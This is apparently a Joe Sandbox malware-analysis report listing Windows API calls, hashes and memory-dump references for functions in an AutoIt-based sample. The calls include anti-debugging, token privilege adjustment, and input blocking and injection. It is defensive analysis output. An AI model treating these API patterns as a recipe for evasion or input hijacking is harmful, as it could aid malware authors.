Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: f5c3e56809a00dc877caadae9b9ab103988efc3679f52253775c5b54807a35c9
Instruction ID: 1a6fa8f0c97c10c5d6e92a8747c6e2e21e7d3fc09bee6799a5fe3c197e6a30cf
Opcode Fuzzy Hash: f5c3e56809a00dc877caadae9b9ab103988efc3679f52253775c5b54807a35c9
Instruction Fuzzy Hash: 255168746046019FC714DF28C494F96B7E8FF89324F158A5EE99A8B3A1CB30E945CB91

Function 00972622 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0097271A
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00972724
UnhandledExceptionFilter.KERNEL32(?), ref: 00972731

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: c6285e0dcc4147ea9fbb872b30e9d3e9836474fde4db53f69c882e805b5f0bf2
Instruction ID: 63462bdc78335ab1f86129b8ffc04bf73dd26fe679fa21644433ba6bccf8a10a
Opcode Fuzzy Hash: c6285e0dcc4147ea9fbb872b30e9d3e9836474fde4db53f69c882e805b5f0bf2
Instruction Fuzzy Hash: DB31D67595121C9BCB21DF68DD897DDB7B8AF58310F5042EAE81CA7260E7309F818F44

Function 009B51CD Relevance: 4.6, APIs: 3, Instructions: 76COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 009B51DA
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 009B5238
SetErrorMode.KERNEL32(00000000), ref: 009B52A1

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: ErrorMode$DiskFreeSpace
String ID:
API String ID: 1682464887-0
Opcode ID: c321237ec55ccf3eb6585a587fe23fbad959cb55ef02dc1a6dfeb9ee87737ee6
Instruction ID: d71567c21df6534b9b3bb7f3197c6c6296f9fee6a71101d8423f5ba7628b0d83
Opcode Fuzzy Hash: c321237ec55ccf3eb6585a587fe23fbad959cb55ef02dc1a6dfeb9ee87737ee6
Instruction Fuzzy Hash: 68315E75A00518DFDB00DF94D888FADBBB4FF49314F058099E805AB366DB35E856CB90

Function 009A16C3 Relevance: 4.6, APIs: 3, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 0095FDDB: __CxxThrowException@8.LIBVCRUNTIME ref: 00960668
Part of subcall function 0095FDDB: __CxxThrowException@8.LIBVCRUNTIME ref: 00960685

LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 009A170D
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 009A173A
GetLastError.KERNEL32 ref: 009A174A

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Exception@8Throw$AdjustErrorLastLookupPrivilegePrivilegesTokenValue
String ID:
API String ID: 577356006-0
Opcode ID: 8c3e189faa7eae7265bb0f30fcc2abfee6d4c49ca86f7fabca8459e586b9968a
Instruction ID: 00eb6af701708f41d1fef2e58e75a6604f2f084af042f18a685b0a14019beb72
Opcode Fuzzy Hash: 8c3e189faa7eae7265bb0f30fcc2abfee6d4c49ca86f7fabca8459e586b9968a
Instruction Fuzzy Hash: 0511CEB2414305AFD718EF54DC86E6AB7BDEB44724B20852EE45697281EB70BC81CB60

Function 009AD5EB Relevance: 4.6, APIs: 3, Instructions: 58fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 009AD608
DeviceIoControl.KERNEL32(00000000,002D1400,?,0000000C,?,00000028,?,00000000), ref: 009AD645
CloseHandle.KERNEL32(?,?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 009AD650

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID:
API String ID: 33631002-0
Opcode ID: 0e14470d5c90ceb815c004824b2925cfbeb416eee0cd04b8e606394e53ebba90
Instruction ID: 32a26323c06d961702cd3c61fc5a6d3a85c15247732e630f87be6da8c17478f1
Opcode Fuzzy Hash: 0e14470d5c90ceb815c004824b2925cfbeb416eee0cd04b8e606394e53ebba90
Instruction Fuzzy Hash: 76118EB1E46228BFDB148F94DC44FAFBBBCEB45B50F108112F904E7290C2704A018BE1

Function 009A1663 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 009A168C
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 009A16A1
FreeSid.ADVAPI32(?), ref: 009A16B1

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: c25582d2fa8ea9b7df2b7cd132eb42847a215672ef015dd55b423c9f6cd68f3e
Instruction ID: 40dd2d591c4623e10502dd55f78f5e92eafe8f24b94012af2a24e57f00fcf8b0
Opcode Fuzzy Hash: c25582d2fa8ea9b7df2b7cd132eb42847a215672ef015dd55b423c9f6cd68f3e
Instruction Fuzzy Hash: 89F0F4B19A5309FBDF00DFE4DC89AAEBBBCEB08644F504565E501E2181E774AA849A50

Function 009B68EE Relevance: 3.1, APIs: 2, Instructions: 57fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 009B6918
FindClose.KERNEL32(00000000), ref: 009B6961

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: e41128f22e42a52003f121b4f8ef48f705cc1a47f9f036f745485c6e6c783aac
Instruction ID: d246cc1e62f5d463b718391ad7efce85aab709859dfe5e528df37612ef1370d0
Opcode Fuzzy Hash: e41128f22e42a52003f121b4f8ef48f705cc1a47f9f036f745485c6e6c783aac
Instruction Fuzzy Hash: B311D0716042019FC710CF29C484E16BBE4FF84328F04C699F8698F2A2C734EC45CB90

Function 009B37B5 Relevance: 3.0, APIs: 2, Instructions: 33windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,?,?,?,009C4891,?,?,00000035,?), ref: 009B37E4
FormatMessageW.KERNEL32(00001000,00000000,?,00000000,?,00000FFF,00000000,?,?,?,009C4891,?,?,00000035,?), ref: 009B37F4

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: b7bbf7c4e737640002198aee2753396912dae740b0c9e5cfe6af4e762a5d9f6a
Instruction ID: 2560f01f4f024dc019640b0f5e57dedbd71dd81936544cfcb4857bd414d49c61
Opcode Fuzzy Hash: b7bbf7c4e737640002198aee2753396912dae740b0c9e5cfe6af4e762a5d9f6a
Instruction Fuzzy Hash: 1AF0ECB06052256AD71057655C8DFDB775DDFC4771F004165F509D2281D9609944C7B0

Function 009AB226 Relevance: 3.0, APIs: 2, Instructions: 29keyboardCOMMON

Download Yara Rule

APIs

SendInput.USER32(00000001,?,0000001C,?,?,00000002), ref: 009AB25D
keybd_event.USER32(?,75C0C0D0,?,00000000), ref: 009AB270

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: InputSendkeybd_event
String ID:
API String ID: 3536248340-0
Opcode ID: 10e61776f3b5c5a5370a2d83694d1fe17fddf0427508c98d70cf8a5eacb2b813
Instruction ID: c0ddb77f153322ded8116524b2e90bdcce38d48e2e6adc2ed7ed2bfc1cf625c6
Opcode Fuzzy Hash: 10e61776f3b5c5a5370a2d83694d1fe17fddf0427508c98d70cf8a5eacb2b813
Instruction Fuzzy Hash: 4EF06D7185424EABDB058FA0C805BAE7BB4FF04305F00800AF961A5192C3798241DF94

Function 009A10BF Relevance: 3.0, APIs: 2, Instructions: 24COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,009A11FC), ref: 009A10D4
CloseHandle.KERNEL32(?,?,009A11FC), ref: 009A10E9

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: b2d1ee3126a9c0cc4578f7897436d70c87a0c77c24fe827606f71e7c1fa133c8
Instruction ID: 3849afc579eac136f267f8189a6e3d89f1cf7fcca40a4175620a22234b6194df
Opcode Fuzzy Hash: b2d1ee3126a9c0cc4578f7897436d70c87a0c77c24fe827606f71e7c1fa133c8
Instruction Fuzzy Hash: 9FE04F72058611AEE7252B51FC06F7377A9EB04321F10882EF8A5804B1DB626CD0EB50

Function 009BEAA2 Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32(00000001), ref: 009BEABD

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: d30140d98065b4526bbcedb4b36d2fed02d706f1ec41ac161547b99ac5037ad0
Instruction ID: 011efa68eec7378c099676226c5a4903fa7ea8ee04e5f7dee7c4c2bbe08c595b
Opcode Fuzzy Hash: d30140d98065b4526bbcedb4b36d2fed02d706f1ec41ac161547b99ac5037ad0
Instruction Fuzzy Hash: 06E01A752102059FC710EF69D904E9AF7EDAF98770F008416FC49C7291DA74E8408B90

Function 009609D5 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000209E1,009603EE), ref: 009609DA

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: ae7166639fe2dfbe0ad2f75f72cd14754501731f4efd6e79de71f574c6491886
Instruction ID: 3e3b1a0021fdac4e0455f52ca58dedb0be26ce1fb0db9b26d9b3ff69ded9527c
Opcode Fuzzy Hash: ae7166639fe2dfbe0ad2f75f72cd14754501731f4efd6e79de71f574c6491886
Instruction Fuzzy Hash:

Function 009C2ADE Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 486filecommemoryCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 009C2B30
DeleteObject.GDI32(00000000), ref: 009C2B43
DestroyWindow.USER32 ref: 009C2B52
GetDesktopWindow.USER32 ref: 009C2B6D
GetWindowRect.USER32(00000000), ref: 009C2B74
SetRect.USER32(?,00000000,00000000,00000007,00000002), ref: 009C2CA3
AdjustWindowRectEx.USER32(?,88C00000,00000000,?), ref: 009C2CB1
CreateWindowExW.USER32(?,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 009C2CF8
GetClientRect.USER32(00000000,?), ref: 009C2D04
CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 009C2D40
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 009C2D62
GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 009C2D75
GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 009C2D80
GlobalLock.KERNEL32(00000000), ref: 009C2D89
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 009C2D98
GlobalUnlock.KERNEL32(00000000), ref: 009C2DA1
CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 009C2DA8
GlobalFree.KERNEL32(00000000), ref: 009C2DB3
CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 009C2DC5
OleLoadPicture.OLEAUT32(?,00000000,00000000,009DFC38,00000000), ref: 009C2DDB
GlobalFree.KERNEL32(00000000), ref: 009C2DEB
CopyImage.USER32(00000007,00000000,00000000,00000000,00002000), ref: 009C2E11
SendMessageW.USER32(00000000,00000172,00000000,00000007), ref: 009C2E30
SetWindowPos.USER32(00000000,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 009C2E52
ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 009C303F

Strings

static, xrefs: 009C2D3A, 009C2E91
AutoIt v3, xrefs: 009C2CF2
DISPLAY, xrefs: 009C2EA2
, xrefs: 009C2FC5

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
String ID: $AutoIt v3$DISPLAY$static
API String ID: 2211948467-2373415609
Opcode ID: 623a98653278d406a47feb611bddc7c9b27aa810a81057e6b2cf64efaa50e96e
Instruction ID: 2aec6943672612a7ba04057c83e2680b8f3dc404a88cbe6011c97bab1d2fd615
Opcode Fuzzy Hash: 623a98653278d406a47feb611bddc7c9b27aa810a81057e6b2cf64efaa50e96e
Instruction Fuzzy Hash: 44028FB5950219AFDB14DFA4CC89FAEBBB9EF49310F008559F915AB2A1C730DD41CB60

Function 009D70D5 Relevance: 49.8, APIs: 33, Instructions: 273COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 009D712F
GetSysColorBrush.USER32(0000000F), ref: 009D7160
GetSysColor.USER32(0000000F), ref: 009D716C
SetBkColor.GDI32(?,000000FF), ref: 009D7186
SelectObject.GDI32(?,?), ref: 009D7195
InflateRect.USER32(?,000000FF,000000FF), ref: 009D71C0
GetSysColor.USER32(00000010), ref: 009D71C8
CreateSolidBrush.GDI32(00000000), ref: 009D71CF
FrameRect.USER32(?,?,00000000), ref: 009D71DE
DeleteObject.GDI32(00000000), ref: 009D71E5
InflateRect.USER32(?,000000FE,000000FE), ref: 009D7230
FillRect.USER32(?,?,?), ref: 009D7262
GetWindowLongW.USER32(?,000000F0), ref: 009D7284

Part of subcall function 009D73E8: GetSysColor.USER32(00000012), ref: 009D7421
Part of subcall function 009D73E8: SetTextColor.GDI32(?,?), ref: 009D7425
Part of subcall function 009D73E8: GetSysColorBrush.USER32(0000000F), ref: 009D743B
Part of subcall function 009D73E8: GetSysColor.USER32(0000000F), ref: 009D7446
Part of subcall function 009D73E8: GetSysColor.USER32(00000011), ref: 009D7463
Part of subcall function 009D73E8: CreatePen.GDI32(00000000,00000001,00743C00), ref: 009D7471
Part of subcall function 009D73E8: SelectObject.GDI32(?,00000000), ref: 009D7482
Part of subcall function 009D73E8: SetBkColor.GDI32(?,00000000), ref: 009D748B
Part of subcall function 009D73E8: SelectObject.GDI32(?,?), ref: 009D7498
Part of subcall function 009D73E8: InflateRect.USER32(?,000000FF,000000FF), ref: 009D74B7
Part of subcall function 009D73E8: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 009D74CE
Part of subcall function 009D73E8: GetWindowLongW.USER32(00000000,000000F0), ref: 009D74DB

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameRoundSolid
String ID:
API String ID: 4124339563-0
Opcode ID: b2dadc6157e30903e2c88d02a17fc73bf14b73e5bde2cf83af96a388965045cb
Instruction ID: 2d98697e88659a023509093ade8ea13a761fed7a04359f9d02de4e6655f1eaed
Opcode Fuzzy Hash: b2dadc6157e30903e2c88d02a17fc73bf14b73e5bde2cf83af96a388965045cb
Instruction Fuzzy Hash: 0AA1B4B205D312BFDB009FA0DC48E5BBBA9FB49321F104B1AFA62961E1D734D984DB51

Function 00958D85 Relevance: 47.7, APIs: 26, Strings: 1, Instructions: 480windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?), ref: 00958E14
SendMessageW.USER32(?,00001308,?,00000000), ref: 00996AC5
ImageList_Remove.COMCTL32(?,000000FF,?), ref: 00996AFE
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 00996F43

Part of subcall function 00958F62: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00958BE8,?,00000000,?,?,?,?,00958BBA,00000000,?), ref: 00958FC5

SendMessageW.USER32(?,00001053), ref: 00996F7F
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 00996F96
ImageList_Destroy.COMCTL32(00000000,?), ref: 00996FAC
ImageList_Destroy.COMCTL32(00000000,?), ref: 00996FB7

Strings

0, xrefs: 00996DCF

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: DestroyImageList_MessageSend$Window$InvalidateMoveRectRemove
String ID: 0
API String ID: 2760611726-4108050209
Opcode ID: 014697ef3f79767226195a9f9a5da43e2d7dd23a45af7d3e4dd32ebf0a615b66
Instruction ID: bb46ca902688286af3aea985c8dad188379d0fc0a0539257cc48836fedf2b5ed
Opcode Fuzzy Hash: 014697ef3f79767226195a9f9a5da43e2d7dd23a45af7d3e4dd32ebf0a615b66
Instruction Fuzzy Hash: A712EE30205202DFDB25DF28D845BAAB7F9FB48301F148469F9999B261CB31EC96DB91

Function 009C2711 Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 330windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 009C273E
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 009C286A
SetRect.USER32(?,00000000,00000000,0000012C,?), ref: 009C28A9
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000008), ref: 009C28B9
CreateWindowExW.USER32(00000008,AutoIt v3,?,88C00000,000000FF,?,?,?,00000000,00000000,00000000), ref: 009C2900
GetClientRect.USER32(00000000,?), ref: 009C290C
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000), ref: 009C2955
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 009C2964
GetStockObject.GDI32(00000011), ref: 009C2974
SelectObject.GDI32(00000000,00000000), ref: 009C2978
GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000,?,88C00000,000000FF,?), ref: 009C2988
GetDeviceCaps.GDI32(00000000,0000005A), ref: 009C2991
DeleteDC.GDI32(00000000), ref: 009C299A
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 009C29C6
SendMessageW.USER32(00000030,00000000,00000001), ref: 009C29DD
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,-0000001D,00000104,00000014,00000000,00000000,00000000), ref: 009C2A1D
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 009C2A31
SendMessageW.USER32(00000404,00000001,00000000), ref: 009C2A42
